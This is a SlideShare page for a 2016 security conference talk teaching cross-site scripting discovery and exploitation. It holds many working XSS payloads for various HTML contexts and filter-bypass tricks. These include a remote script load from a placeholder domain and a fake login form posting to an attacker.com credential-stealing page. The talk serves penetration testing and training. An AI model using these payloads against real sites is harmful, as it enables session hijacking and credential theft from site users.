SlideShare a Scribd company logo
Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)
Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 2
XSS (Cross-Site Scripting)XSS (Cross-Site Scripting)
Injection attack against usersagainst users of (otherwise)
benign and trusted web sites
Used mostly in targetedtargeted attacks (e.g. spear-
phishing against administrators)
For example, an attacker can send a link with
malicious JavascriptJavascript (JS) code to an
unsuspecting user
The user’s browser has no way to know that
the link should not be trusted and will execute
the JS blindly – effectively giving access to
cookies, session tokens or other sensitive
information within browsing contextwithin browsing context
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 3
Real-world (known) casesReal-world (known) cases
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 4
More about vulnerabilityMore about vulnerability
Considered as criticalcritical vulnerability, hence
(often) well paid in bug bounty programs
Failure to (properly) sanitize/filtersanitize/filter any of: <, >,
', " inside the response can introduce the
vulnerability
While testing, responses for user supplied values
are being inspected for signs of the vulnerability
(e.g. response returning values in originaloriginal form)
Provoking JS pop-up boxpop-up box with custom message
(e.g. XSS) is universally accepted as a Proof of
Concept (PoC) for existence of vulnerability
Types: storedstored (persisting), reflectedreflected
(temporary) and DOM-basedDOM-based (in-browser)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 5
Food for thought :)Food for thought :)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 6
Testing workflowTesting workflow
1) Find reflecting inputinput points
(e.g. page's GET parameter values)
2) Recognize contextcontext of reflection
(e.g. inside <script>...</script>)
3) BypassBypass sanitization/filtering and/or
protection mechanism(s)
(Note: if possible and/or required)
4) Write vulnerability exploitation PoCPoC
(e.g. ...alert('XSS')...)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 7
Practical example (PoC)Practical example (PoC)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 8
Protection mechanism(s)Protection mechanism(s)
Common (XSS) detection regular expressions:
●
/<[a­z]/i - (e.g.) <svg, <img - though, there are
cases where “benign” tags as <a> are left un-
blacklisted
●
/b(java)?scriptb/i - (e.g.) <script, <img 
src="javascript:, etc.
●
/bonw+s*=/i - (e.g.) <img src=null
onerror=... - though, there are cases where
<marquee's onstart( is left un-blacklisted
●
/bsrcs*=/i - (e.g.) <embed src=..., etc.
●
/bw+(/i - (e.g.) alert( - though, there are
cases where confirm( is left un-blacklisted
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 9
Sanitization mechanism(s)Sanitization mechanism(s)
Common (XSS) server response sanitizations:
●
Removing all special characters - (e.g.)
foo<'">bar → foobar
●
Replacing with whitespace all special characters -
(e.g.) foo<'">bar → foo bar
●
HTML named entity encoding - (e.g.) foo<'">bar
→ foo&lt;&apos;&quot;&gt;bar
●
HTML numeric code point encoding - (e.g.)
foo<'">bar → foo&#60;&#39;&#34;&#62;bar
●
Backslash escaping all special characters - (e.g.)
foo<'">bar → foo<'">bar (Note: <script>)
●
Uppercase conversion - (e.g.) foo<'">bar →
FOO'"BAR (combined with another mechanism(s))
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 10
Break-out of <tag...> context with > OR onXXX
event handler injection
?vuln="><svg onload=alert(/XSS/)>
?vuln=" onclick="alert(/XSS/)
Usability is highly dependent on context and
available <tag> events
(e.g.) Tags having visibility: hidden require
breaking out of <tag...> context
<tag...><tag...> ((|more|more))
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 11
<tag...><tag...> ((|more|more))
Even though attacker's options inside <tag> are
pretty narrowed (e.g. user interaction
required), (ab)using CSS with style can help
?vuln=" onmouseover=alert(/XSS/) 
style="display: block; position: absolute; 
left: 0; top: 0; height: 10000px; width: 
10000px; opacity: 0; cursor: default
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 12
>...<>...<
Injecting outside of <tag> context and/or scope
(e.g. </script>...) requires unfiltered < and >
Proper “Content­type” (e.g. “text/html”) is
required, as in all XSS (reflected) cases (e.g.
“application/json” is of no interest)
?vuln=<img src=null onerror=alert(/XSS/)>
?vuln=<script>alert(/XSS/)</script>
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 13
<!­­...­­><!­­...­­>
Requires breaking-out of <!­­...­­> (i.e. HTML
comment) context with ­­>
Common for (custom) sites with debugging
support turned ON (e.g. returning used SQL
query inside comment)
?vuln=­­><svg onload=alert(/XSS/)>
As it explicitly requires usage of <tag> it is
fairly common to end up as unexploitable (e.g.
protections are trigger happy on occurrence(s)
of <[a­zA­Z] inside parameter values)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 14
<frame ...><frame ...>
Injecting custom <frame> OR onload event
handler injection (prefered)
?vuln="><frame 
src="data:text/html;base64,PHNjcmlwdD5hbGVy
dCgnWFNTJyk8L3NjcmlwdD4
?vuln=" onload="alert(/XSS/)
Note: Non-<frame> tags can't be used because
of <frameset> restrictions
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 15
<iframe...><iframe...>
Break-out of <iframe...> context OR onload
event handler injection (prefered)
?vuln="></iframe><svg onload=alert(
/XSS/)>
?vuln=" onload="alert(/XSS/)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 16
<input...><input...>
Break-out of <input...> context with > OR 
onfocus event handler injection (prefered)
?vuln=1"><svg onload=alert(/XSS/)>
?vuln=1" autofocus onfocus="alert(/XSS/)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 17
<input type<input type="hidden"="hidden"...>...>
In hidden <input> cases, combined with
inability to break-out of <input...> context
(due to filtering of <>), regular onXXX event
handler injection doesn't work
Though, accesskey attribute can be (ab)used to
make the user-assisted XSS payload (Alt­
Shift­<key>)
?vuln=" accesskey="X" onclick="alert( 
/XSS/)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 18
<script>...</script><script>...</script>
Break-out of <script>...</script> with
</script> OR in-place JS injection (prefered)
?vuln=</script><svg onload=alert(/XSS/)>
?vuln=foobar');alert('XSS');var dummy=('
Common in third-party advertisement plugins
Note: In-place JS injection doesn't require <>,
though it requires unfiltered ' or " in majority
of cases (interpreter syntax checksinterpreter syntax checks)
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 19
echo $_SERVER['PHP_SELF']echo $_SERVER['PHP_SELF']
Common finding even on top sites and/or
frameworks
Non-sanitized reference of current script's path
http://...php/"><svg onload="alert(/XSS/)
Not PHP-specific (though more common)
Note: JS injection in path often require manual
URL encoding of non-alphanumeric characters
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 20
<meta><meta>
Often mislooked, though easy to exploit
Top sites tend to utilize lots of metadata
?vuln="><script>alert(/XSS/)</script>
?vuln=0;url=data:text/html;base64, 
PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4" 
http­equiv="refresh
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 21
<textarea> <textarea> andand <title> <title>
Injection into <textarea> and <title>
enclosings require explicit (respectable)
closing tagsclosing tags (i.e. </textarea> and </title>)
Important to note because of automatized
scanners (majority don't check the context)
<style> is also problematic, though in case of
Internet Explorer CSS expression can be
(ab)used
?vuln=</textarea><svg onload=alert(/XSS/)>
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 22
$_POST$_POST
Though not exploitable directly from link (i.e.
address bar), it is a perfectly valid attack point
Requires malicious HTMLmalicious HTML document that has
to be loaded inside the victim's web browser
Either a standalone HTML OR a link that points
to the attacker's site hosting the HTML
document
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 23
Protection(s) bypasses (Protection(s) bypasses (|more|more))
<svg/onload=alert(/XSS/)>
prompt`XSS`
onerror=confirm;throw/XSS/;
document.write(String.fromCharCode(60, 
115,99,114,105,112,116,62,97,...
[][(![]+[])[+[]]+([![]]+[][... // JSFuck
<SCRIPT SRC=//DOMAIN.COM/XSS.JS></SCRIPT>
<embed src=data:image/svg+xml;base64,
PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cuM...
<object data=data:text/html;base64,...
<video/poster/onerror=alert(/XSS/)>
</i/style=left:expression(alert('XSS'))>
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 24
Protection(s) bypasses (Protection(s) bypasses (|more|more))
<iframe src=javascript:alert('XSS')>
<isindex type=submit formaction=&#106
&#97&#118&#97&#115&#99&#114&#105&#112...
<isindex type=image src=null 
onerror=alert(/XSS/)>
<iframe/srcdoc=&lt;svg&sol;onload&equals;
alert&lpar;&quot;XSS&quot;&rpar;&gt;>
<img src=null 
onerror=u0061u006cu0065u0072u0074&lpar
;&quot;u0058u0053u0053&quot;&rpar;>
<body style=height:9999px 
onwheel=prompt(/XSS/)>
<marquee onstart=confirm(/XSS/)>
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 25
In cases when Javascript injection (i.e. XSS) is
not possible, HTML injection is also a valid
attack point – though, not as valuable
Most common scenario is the usage of
protection mechanism(s), while lacking any
sanitization/filtering whatsoever
“Evil link” scenario – (e.g.)
“Fake login” scenario – (e.g.) <form
action="//www.attacker.com/steal.php">...
“Fake defacement” scenario – (e.g.) <h1>This
site has been hacked by l33tcr3w</h1>
p.s. HTML injectionp.s. HTML injection
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 26
www.openbugbounty.org
html5sec.org
p.p.s. Recommended resourcesp.p.s. Recommended resources
FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 27
Questions?Questions?

More Related Content

PDF
Heuristic methods used in sqlmap
Miroslav Stampar
 
PDF
sqlmap - Under the Hood
Miroslav Stampar
 
PDF
CONFidence 2015: Trust boundaries - Mateusz Kocielski
PROIDEA
 
PDF
Trust boundaries - Confidence 2015
Logicaltrust pl
 
PDF
Testing NodeJS Security
Jose Manuel Ortega Candel
 
PDF
JS Fest 2019. Тимур Шемсединов. Разделяемая память в многопоточном Node.js
JSFestUA
 
PDF
sqlmap - why (not how) it works?
Miroslav Stampar
 
PDF
DNS exfiltration using sqlmap
Miroslav Stampar
 
Heuristic methods used in sqlmap
Miroslav Stampar
 
sqlmap - Under the Hood
Miroslav Stampar
 
CONFidence 2015: Trust boundaries - Mateusz Kocielski
PROIDEA
 
Trust boundaries - Confidence 2015
Logicaltrust pl
 
Testing NodeJS Security
Jose Manuel Ortega Candel
 
JS Fest 2019. Тимур Шемсединов. Разделяемая память в многопоточном Node.js
JSFestUA
 
sqlmap - why (not how) it works?
Miroslav Stampar
 
DNS exfiltration using sqlmap
Miroslav Stampar
 

Viewers also liked (20)

PDF
2014 – Year of Broken Name Generator(s)
Miroslav Stampar
 
PDF
sqlmap - security development in Python
Miroslav Stampar
 
PDF
Hash DoS Attack
Miroslav Stampar
 
PDF
Data Retrieval over DNS in SQL Injection Attacks
Miroslav Stampar
 
PDF
Riding the Overflow - Then and Now
Miroslav Stampar
 
PPTX
Revista derecho constitucional (derechos humanos y estados de excepción)
arlenis camacho
 
PPTX
Evolucion historica de la criminologia
arlenis camacho
 
PPT
Ladies waterproof head scarf
shopkrysi47
 
PDF
Curious Case of SQLi
Miroslav Stampar
 
PDF
Riding the Overflow - Then and Now
Miroslav Stampar
 
PPTX
Evolucion historica de la criminologia
arlenis camacho
 
PDF
Smashing the Buffer
Miroslav Stampar
 
PPTX
Product: UPS: FirstLine P
Staco Energy
 
DOCX
COMANDOS DEL TECLADO
Michael Sanchez SB
 
PDF
Analysis of mass SQL injection attacks
Miroslav Stampar
 
PDF
It all starts with the ' (SQL injection from attacker's point of view)
Miroslav Stampar
 
PPTX
Product: Voltage Control: StacoAVR
Staco Energy
 
DOC
Computador
Argos Tecnologias
 
PPTX
Product: UPS: UniStar V
Staco Energy
 
PPTX
Evolución histórica de la Criminología
Adelaida Tassoni
 
2014 – Year of Broken Name Generator(s)
Miroslav Stampar
 
sqlmap - security development in Python
Miroslav Stampar
 
Hash DoS Attack
Miroslav Stampar
 
Data Retrieval over DNS in SQL Injection Attacks
Miroslav Stampar
 
Riding the Overflow - Then and Now
Miroslav Stampar
 
Revista derecho constitucional (derechos humanos y estados de excepción)
arlenis camacho
 
Evolucion historica de la criminologia
arlenis camacho
 
Ladies waterproof head scarf
shopkrysi47
 
Curious Case of SQLi
Miroslav Stampar
 
Riding the Overflow - Then and Now
Miroslav Stampar
 
Evolucion historica de la criminologia
arlenis camacho
 
Smashing the Buffer
Miroslav Stampar
 
Product: UPS: FirstLine P
Staco Energy
 
COMANDOS DEL TECLADO
Michael Sanchez SB
 
Analysis of mass SQL injection attacks
Miroslav Stampar
 
It all starts with the ' (SQL injection from attacker's point of view)
Miroslav Stampar
 
Product: Voltage Control: StacoAVR
Staco Energy
 
Computador
Argos Tecnologias
 
Product: UPS: UniStar V
Staco Energy
 
Evolución histórica de la Criminología
Adelaida Tassoni
 
Ad

Similar to Non-Esoteric XSS Tips & Tricks (20)

PPT
Xss is more than a simple threat
Romanian Cyber Conference
 
PPT
Xss is more than a simple threat
Avădănei Andrei
 
PPTX
XSS Defence with @manicode and @eoinkeary
Eoin Keary
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PPTX
15 owasp top 10 - a3-xss
appsec
 
PDF
Session7-XSS & CSRF
zakieh alizadeh
 
PDF
Cross site scripting
n|u - The Open Security Community
 
PDF
Introduction to Cross Site Scripting ( XSS )
Irfad Imtiaz
 
PPTX
XSS- an application security vulnerability
Soumyasanto Sen
 
PDF
Cross-Site Scripting course made by Cristian Alexandrescu
Cristian Alexandrescu
 
PDF
ng-owasp: OWASP Top 10 for AngularJS Applications
Kevin Hakanson
 
PDF
Complete xss walkthrough
Ahmed Elhady Mohamed
 
PDF
XSS Injection Vulnerabilities
Mindfire Solutions
 
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
PPS
Introducing Malware Script Detector
guest31a5be
 
PPS
Introducing Msd
Aung Khant
 
PPT
XSS filter on Server side
cuteboysmith
 
PDF
Breaking Bad CSP
Lukas Weichselbaum
 
PPTX
Cross Site Scripting ( XSS)
Amit Tyagi
 
PPTX
RSA Europe 2013 OWASP Training
Jim Manico
 
Xss is more than a simple threat
Romanian Cyber Conference
 
Xss is more than a simple threat
Avădănei Andrei
 
XSS Defence with @manicode and @eoinkeary
Eoin Keary
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
15 owasp top 10 - a3-xss
appsec
 
Session7-XSS & CSRF
zakieh alizadeh
 
Cross site scripting
n|u - The Open Security Community
 
Introduction to Cross Site Scripting ( XSS )
Irfad Imtiaz
 
XSS- an application security vulnerability
Soumyasanto Sen
 
Cross-Site Scripting course made by Cristian Alexandrescu
Cristian Alexandrescu
 
ng-owasp: OWASP Top 10 for AngularJS Applications
Kevin Hakanson
 
Complete xss walkthrough
Ahmed Elhady Mohamed
 
XSS Injection Vulnerabilities
Mindfire Solutions
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
Introducing Malware Script Detector
guest31a5be
 
Introducing Msd
Aung Khant
 
XSS filter on Server side
cuteboysmith
 
Breaking Bad CSP
Lukas Weichselbaum
 
Cross Site Scripting ( XSS)
Amit Tyagi
 
RSA Europe 2013 OWASP Training
Jim Manico
 
Ad

More from Miroslav Stampar (9)

PDF
sqlmap - "One Tiny Step At a Time"
Miroslav Stampar
 
PDF
Blind WAF identification
Miroslav Stampar
 
PDF
sqlmap internals
Miroslav Stampar
 
PDF
Why everybody should do CTF / Wargames?
Miroslav Stampar
 
PDF
sqlmap internals
Miroslav Stampar
 
PDF
Improving Network Intrusion Detection with Traffic Denoise
Miroslav Stampar
 
PDF
APT Attacks on Critical Infrastructure
Miroslav Stampar
 
PDF
WARNING: Do Not Feed the Bears
Miroslav Stampar
 
PDF
Spot the Web Vulnerability
Miroslav Stampar
 
sqlmap - "One Tiny Step At a Time"
Miroslav Stampar
 
Blind WAF identification
Miroslav Stampar
 
sqlmap internals
Miroslav Stampar
 
Why everybody should do CTF / Wargames?
Miroslav Stampar
 
sqlmap internals
Miroslav Stampar
 
Improving Network Intrusion Detection with Traffic Denoise
Miroslav Stampar
 
APT Attacks on Critical Infrastructure
Miroslav Stampar
 
WARNING: Do Not Feed the Bears
Miroslav Stampar
 
Spot the Web Vulnerability
Miroslav Stampar
 

Recently uploaded (20)

PDF
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PPTX
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PPTX
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
PDF
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
PDF
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
PDF
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PPTX
Agile Chennai 18-19 July 2025 | Emerging patterns in Agentic AI by Bharani Su...
AgileNetwork
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PPTX
cloud computing vai.pptx for the project
vaibhavdobariyal79
 
PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
PDF
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
Agile Chennai 18-19 July 2025 | Emerging patterns in Agentic AI by Bharani Su...
AgileNetwork
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
cloud computing vai.pptx for the project
vaibhavdobariyal79
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 

Non-Esoteric XSS Tips & Tricks

  • 1. Non-Esoteric XSSNon-Esoteric XSS Tips & TricksTips & Tricks Miroslav Štampar ([email protected]; [email protected]) Non-Esoteric XSSNon-Esoteric XSS Tips & TricksTips & Tricks Miroslav Štampar ([email protected]; [email protected])
  • 2. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 2 XSS (Cross-Site Scripting)XSS (Cross-Site Scripting) Injection attack against usersagainst users of (otherwise) benign and trusted web sites Used mostly in targetedtargeted attacks (e.g. spear- phishing against administrators) For example, an attacker can send a link with malicious JavascriptJavascript (JS) code to an unsuspecting user The user’s browser has no way to know that the link should not be trusted and will execute the JS blindly – effectively giving access to cookies, session tokens or other sensitive information within browsing contextwithin browsing context
  • 3. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 3 Real-world (known) casesReal-world (known) cases
  • 4. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 4 More about vulnerabilityMore about vulnerability Considered as criticalcritical vulnerability, hence (often) well paid in bug bounty programs Failure to (properly) sanitize/filtersanitize/filter any of: <, >, ', " inside the response can introduce the vulnerability While testing, responses for user supplied values are being inspected for signs of the vulnerability (e.g. response returning values in originaloriginal form) Provoking JS pop-up boxpop-up box with custom message (e.g. XSS) is universally accepted as a Proof of Concept (PoC) for existence of vulnerability Types: storedstored (persisting), reflectedreflected (temporary) and DOM-basedDOM-based (in-browser)
  • 5. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 5 Food for thought :)Food for thought :)
  • 6. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 6 Testing workflowTesting workflow 1) Find reflecting inputinput points (e.g. page's GET parameter values) 2) Recognize contextcontext of reflection (e.g. inside <script>...</script>) 3) BypassBypass sanitization/filtering and/or protection mechanism(s) (Note: if possible and/or required) 4) Write vulnerability exploitation PoCPoC (e.g. ...alert('XSS')...)
  • 7. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 7 Practical example (PoC)Practical example (PoC)
  • 8. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 8 Protection mechanism(s)Protection mechanism(s) Common (XSS) detection regular expressions: ● /<[a­z]/i - (e.g.) <svg, <img - though, there are cases where “benign” tags as <a> are left un- blacklisted ● /b(java)?scriptb/i - (e.g.) <script, <img  src="javascript:, etc. ● /bonw+s*=/i - (e.g.) <img src=null onerror=... - though, there are cases where <marquee's onstart( is left un-blacklisted ● /bsrcs*=/i - (e.g.) <embed src=..., etc. ● /bw+(/i - (e.g.) alert( - though, there are cases where confirm( is left un-blacklisted
  • 9. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 9 Sanitization mechanism(s)Sanitization mechanism(s) Common (XSS) server response sanitizations: ● Removing all special characters - (e.g.) foo<'">bar → foobar ● Replacing with whitespace all special characters - (e.g.) foo<'">bar → foo bar ● HTML named entity encoding - (e.g.) foo<'">bar → foo&lt;&apos;&quot;&gt;bar ● HTML numeric code point encoding - (e.g.) foo<'">bar → foo&#60;&#39;&#34;&#62;bar ● Backslash escaping all special characters - (e.g.) foo<'">bar → foo<'">bar (Note: <script>) ● Uppercase conversion - (e.g.) foo<'">bar → FOO'"BAR (combined with another mechanism(s))
  • 10. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 10 Break-out of <tag...> context with > OR onXXX event handler injection ?vuln="><svg onload=alert(/XSS/)> ?vuln=" onclick="alert(/XSS/) Usability is highly dependent on context and available <tag> events (e.g.) Tags having visibility: hidden require breaking out of <tag...> context <tag...><tag...> ((|more|more))
  • 11. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 11 <tag...><tag...> ((|more|more)) Even though attacker's options inside <tag> are pretty narrowed (e.g. user interaction required), (ab)using CSS with style can help ?vuln=" onmouseover=alert(/XSS/)  style="display: block; position: absolute;  left: 0; top: 0; height: 10000px; width:  10000px; opacity: 0; cursor: default
  • 12. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 12 >...<>...< Injecting outside of <tag> context and/or scope (e.g. </script>...) requires unfiltered < and > Proper “Content­type” (e.g. “text/html”) is required, as in all XSS (reflected) cases (e.g. “application/json” is of no interest) ?vuln=<img src=null onerror=alert(/XSS/)> ?vuln=<script>alert(/XSS/)</script>
  • 13. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 13 <!­­...­­><!­­...­­> Requires breaking-out of <!­­...­­> (i.e. HTML comment) context with ­­> Common for (custom) sites with debugging support turned ON (e.g. returning used SQL query inside comment) ?vuln=­­><svg onload=alert(/XSS/)> As it explicitly requires usage of <tag> it is fairly common to end up as unexploitable (e.g. protections are trigger happy on occurrence(s) of <[a­zA­Z] inside parameter values)
  • 14. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 14 <frame ...><frame ...> Injecting custom <frame> OR onload event handler injection (prefered) ?vuln="><frame  src="data:text/html;base64,PHNjcmlwdD5hbGVy dCgnWFNTJyk8L3NjcmlwdD4 ?vuln=" onload="alert(/XSS/) Note: Non-<frame> tags can't be used because of <frameset> restrictions
  • 15. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 15 <iframe...><iframe...> Break-out of <iframe...> context OR onload event handler injection (prefered) ?vuln="></iframe><svg onload=alert( /XSS/)> ?vuln=" onload="alert(/XSS/)
  • 16. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 16 <input...><input...> Break-out of <input...> context with > OR  onfocus event handler injection (prefered) ?vuln=1"><svg onload=alert(/XSS/)> ?vuln=1" autofocus onfocus="alert(/XSS/)
  • 17. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 17 <input type<input type="hidden"="hidden"...>...> In hidden <input> cases, combined with inability to break-out of <input...> context (due to filtering of <>), regular onXXX event handler injection doesn't work Though, accesskey attribute can be (ab)used to make the user-assisted XSS payload (Alt­ Shift­<key>) ?vuln=" accesskey="X" onclick="alert(  /XSS/)
  • 18. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 18 <script>...</script><script>...</script> Break-out of <script>...</script> with </script> OR in-place JS injection (prefered) ?vuln=</script><svg onload=alert(/XSS/)> ?vuln=foobar');alert('XSS');var dummy=(' Common in third-party advertisement plugins Note: In-place JS injection doesn't require <>, though it requires unfiltered ' or " in majority of cases (interpreter syntax checksinterpreter syntax checks)
  • 19. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 19 echo $_SERVER['PHP_SELF']echo $_SERVER['PHP_SELF'] Common finding even on top sites and/or frameworks Non-sanitized reference of current script's path http://...php/"><svg onload="alert(/XSS/) Not PHP-specific (though more common) Note: JS injection in path often require manual URL encoding of non-alphanumeric characters
  • 20. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 20 <meta><meta> Often mislooked, though easy to exploit Top sites tend to utilize lots of metadata ?vuln="><script>alert(/XSS/)</script> ?vuln=0;url=data:text/html;base64,  PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4"  http­equiv="refresh
  • 21. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 21 <textarea> <textarea> andand <title> <title> Injection into <textarea> and <title> enclosings require explicit (respectable) closing tagsclosing tags (i.e. </textarea> and </title>) Important to note because of automatized scanners (majority don't check the context) <style> is also problematic, though in case of Internet Explorer CSS expression can be (ab)used ?vuln=</textarea><svg onload=alert(/XSS/)>
  • 22. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 22 $_POST$_POST Though not exploitable directly from link (i.e. address bar), it is a perfectly valid attack point Requires malicious HTMLmalicious HTML document that has to be loaded inside the victim's web browser Either a standalone HTML OR a link that points to the attacker's site hosting the HTML document
  • 23. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 23 Protection(s) bypasses (Protection(s) bypasses (|more|more)) <svg/onload=alert(/XSS/)> prompt`XSS` onerror=confirm;throw/XSS/; document.write(String.fromCharCode(60,  115,99,114,105,112,116,62,97,... [][(![]+[])[+[]]+([![]]+[][... // JSFuck <SCRIPT SRC=//DOMAIN.COM/XSS.JS></SCRIPT> <embed src=data:image/svg+xml;base64, PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cuM... <object data=data:text/html;base64,... <video/poster/onerror=alert(/XSS/)> </i/style=left:expression(alert('XSS'))>
  • 24. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 24 Protection(s) bypasses (Protection(s) bypasses (|more|more)) <iframe src=javascript:alert('XSS')> <isindex type=submit formaction=&#106 &#97&#118&#97&#115&#99&#114&#105&#112... <isindex type=image src=null  onerror=alert(/XSS/)> <iframe/srcdoc=&lt;svg&sol;onload&equals; alert&lpar;&quot;XSS&quot;&rpar;&gt;> <img src=null  onerror=u0061u006cu0065u0072u0074&lpar ;&quot;u0058u0053u0053&quot;&rpar;> <body style=height:9999px  onwheel=prompt(/XSS/)> <marquee onstart=confirm(/XSS/)>
  • 25. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 25 In cases when Javascript injection (i.e. XSS) is not possible, HTML injection is also a valid attack point – though, not as valuable Most common scenario is the usage of protection mechanism(s), while lacking any sanitization/filtering whatsoever “Evil link” scenario – (e.g.) “Fake login” scenario – (e.g.) <form action="//www.attacker.com/steal.php">... “Fake defacement” scenario – (e.g.) <h1>This site has been hacked by l33tcr3w</h1> p.s. HTML injectionp.s. HTML injection
  • 26. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 26 www.openbugbounty.org html5sec.org p.p.s. Recommended resourcesp.p.s. Recommended resources
  • 27. FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 27 Questions?Questions?